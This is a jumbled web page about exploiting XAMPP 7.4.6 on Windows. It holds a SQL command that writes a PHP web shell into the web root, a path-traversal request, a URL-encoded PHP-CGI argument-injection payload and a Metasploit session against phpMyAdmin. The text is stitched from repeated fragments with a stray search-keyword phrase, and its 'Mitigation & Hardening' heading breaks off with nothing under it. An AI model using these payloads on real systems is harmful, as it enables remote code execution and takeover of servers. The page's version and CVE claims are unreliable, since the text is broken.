SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/shell.php" Though older, many XAMPP 7.4.6 installations had the vulnerable cgi.fix_pathinfo=1 enabled.
GET /phpmyadmin/..%2F..%2F..%2F..%2Fwindows/win.ini The /phpmyadmin/setup endpoint was left enabled in some installations, leading to deserialization RCE (CVE-2016-6617 — still exploitable in older configs). Real-World Attack Simulation (Lab Only) Using Metasploit on a test Windows 10 VM running XAMPP 7.4.6: xampp for windows 7.4.6 exploit
POST /cgi-bin/php.exe?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74 HTTP/1.1 The default /dashboard and /phpmyadmin aliases sometimes allowed ..%2F bypasses. SELECT "<
msf6 > use exploit/multi/http/phpmyadmin_preg_replace msf6 > set RHOSTS 192.168.1.100 msf6 > set TARGETURI /phpmyadmin/ msf6 > set USERNAME root msf6 > set PASSWORD "" msf6 > exploit Meterpreter session with SYSTEM privileges within 30 seconds. Mitigation & Hardening If you still use XAMPP 7.4.6 for legacy reasons: " INTO OUTFILE "C:/xampp/htdocs/shell.php" Though older
